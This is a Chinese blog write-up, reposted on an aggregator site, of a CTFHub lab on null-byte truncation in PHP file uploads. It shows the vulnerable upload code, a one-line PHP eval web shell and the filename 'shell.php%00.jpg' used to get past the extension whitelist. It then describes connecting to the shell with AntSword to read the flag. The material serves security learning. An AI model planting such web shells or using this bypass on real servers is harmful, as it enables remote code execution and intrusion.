CTFHub | 00截断

这篇具有很好参考价值的文章主要介绍了CTFHub | 00截断。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

00截断:

        php 版本 <5.3.4 ,5.3.4 以上版本已修复该漏洞。

ctfhub00截断,CTF精进之路,web安全,CTF,php
网页显示内容

        

        

0x02 解题过程

分析网页源代码可以看到,这段代码检查是否有提交的文件,如果用户点击了 Submit 按钮,那么将获取到上传的文件名,将用户上传的文件名与白名单中的文件(jpg、png、gif)进行比较,并生一个相同扩展名的随机文件名称。

ctfhub00截断,CTF精进之路,web安全,CTF,php

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <title>CTFHub 文件上传 - 00截断</title>
</head>

<body>
    <h1>CTFHub 文件上传 - 00截断</h1>
    <form action=?road=/var/www/html/upload/ method="post" enctype="multipart/form-data">
        <label for="file">Filename:</label>
        <input type="file" name="file" id="file" />
        <br />
        <input type="submit" name="submit" value="Submit" />
    </form>
<!--
if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $info = pathinfo($name);
    $ext = $info['extension'];
    $whitelist = array("jpg", "png", "gif");
    if (in_array($ext, $whitelist)) {
        $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
        if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
            echo "<script>alert('上传成功')</script>";
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    } else {
        echo "文件类型不匹配";
    }
}
-->
</body>

</html>

        

先写一个payload文件用于文件上传

ctfhub00截断,CTF精进之路,web安全,CTF,php

<?php @eval($_POST['CTFhub']);?>

        

上传编写好的payload文件,并打开Burpsuite软件进行抓包

ctfhub00截断,CTF精进之路,web安全,CTF,php

        

修改抓取到的数据并发送给重放器

ctfhub00截断,CTF精进之路,web安全,CTF,php

shell.php%00.jpg

        

使用重放器执行攻击,在响应栏中可以看到网页返回200,说明文件上传成功 

ctfhub00截断,CTF精进之路,web安全,CTF,php

        

使用蚁剑进行连接并测试连通性,可以正常连接 

ctfhub00截断,CTF精进之路,web安全,CTF,php

        

查找网页目录中的文件,发现此题flag

ctfhub00截断,CTF精进之路,web安全,CTF,php

        

        

0x03 00截断

Q:什么是00截断?

        

A:信息安全中, 00截断 是针对 Web 应用程序的攻击技术。其英文名称 Null Byte 空字节,也称为空字节注入。攻击者在 URL 或文件名中插入一个空字节(ASCII码为00),用来截断文件扩展名或路径信息,达到绕过一些安全机制的目的。这种攻击方式通常是程序员开发过程中没有对输入数据进行过滤和验证。攻击者可以利用这种漏洞来执行恶意代码、窃取敏感信息等。

        

示例:

这里会访问到 shell.png 文件夹中

http://xxx.ctfhub.com:10800/?filename=shell.png    //?filename 查询文件路径

        

这里会访问到 shell.php 文件夹中

http://xxx.ctfhub.com:10800/?filename=shell.php%00shell.png

        

        

0x04 参考文献

[1].0yst3r. CTFHub题解-技能树-Web-Web工具配置-文件上传[EB/OL]. [2023-04-08]. https://www.cnblogs.com/0yst3r-2046/p/12530316.html.

        

        

0x05 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。文章来源地址https://www.toymoban.com/news/detail-727002.html

到了这里,关于CTFHub | 00截断的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CTFHub技能树web之RCE(二)

    第五题:远程包含 根据题目,使用远程包含进行 打开phpinfo,可以看到allow_url_fopen和allow_url_include都是On,因此可以使用php://input,由于代码会检查file中的内容,因此不能够使用php://filter包含文件,使用php://input通过hackbar使用POST方式发包,抓包并在最后一行加php代码执行 成功

    2024年02月22日
    浏览(37)
  • CTFHub-Web-信息泄露-Git泄露

    目录 一、Log 1、题目介绍 2、知识储备 3、解题步骤 (1)、查看页面 (2)、dirsearch扫描目录 (3)、Githack扫描  (4)、git log历史查询 (5)、获取flag 二、Stash 1、知识储备: 2、githack扫描 3、获取flag  三、Index 1、知识储备 2、dirsearch扫描 3、获取flag  四、个人感悟 (1)、

    2024年02月12日
    浏览(32)
  • CTFHUB_web_密码口令_默认口令

    常见web系统默认口令总结 常见网络安全设备弱口令(默认口令)

    2024年02月10日
    浏览(36)
  • CTFHUB-技能树-Web前置技能-XSS-反射型

    参考链接:https://blog.csdn.net/weixin_43486981/article/details/107974878 知识点:跨站脚本攻击XSS XSS允许恶意web用户将代码植入到提供给其它用户使用的页面中。 特点:能注入恶意的HTML/JavaScript代码到用户浏览器网址上,从而劫持会话 类型: DOM型:属于反射型的一种,利用非法输入来

    2024年04月17日
    浏览(34)
  • CTFHub笔记之技能树RCE:eval执行、文件包含、远程包含、php://input、读取源代码

    小白一个,记录解题过程,如有错误请指正! 知识点:         eval():把字符串 code 作为PHP代码执行。函数eval()语言结构是非常危险的,因为它允许执行任意 PHP 代码。它这样用是很危险的。如果您仔细的确认过,除了使用此结构以外别无方法, 请多加注意,不要允许传入

    2024年02月01日
    浏览(45)
  • 小迪安全20WEB 攻防-PHP 特性&缺陷对比函数&CTF 考点&CMS 审计实例

    #研究对象 PHP代码漏洞(代码问题) # 知识点: 1 、过滤函数缺陷绕过 2 、 CTF 考点与代码审计 一、原理-缺陷函数-使用讲解-本地 内置函数: 大部分是比较函数(过滤时使用的函数) (1)、== 与 === : 参考: PHP 浅谈 == 和=== 中,数字和字符串比较的问题。_php 数字==字符串

    2024年01月19日
    浏览(53)
  • [CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)

    这段代码首先通过 show_source(__FILE__) 显示当前文件的源代码,然后通过 $_GET[\\\'hello\\\'] 显示 URL 参数中名为 hello 的值。 接下来,代码使用 $_GET[\\\'page\\\'] 获取 URL 参数中名为 “page” 的值,并进行字符串替换,将 php:// 替换为空字符串 这是为了防止通过 URL 参数加载本地文件或其他可

    2024年02月08日
    浏览(46)
  • CTFHUB-网站源码

    题源:CTFHub​​​​​​ 当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。 本题可用四种方法:dirsearch,python,burpsuite,御剑。 方法一:dirsearch python3 dirsearch 暴力扫描网页结构(包括网页中的目录和文件) 下载

    2023年04月16日
    浏览(68)
  • CTFHub | MySQL结构

    0x00 前言          CTFHub  专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。                   0x01 题目描述 MySQL结构:

    2024年02月10日
    浏览(27)
  • CTFhub-phpinfo

    ctrl+F搜索…

    2024年01月18日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包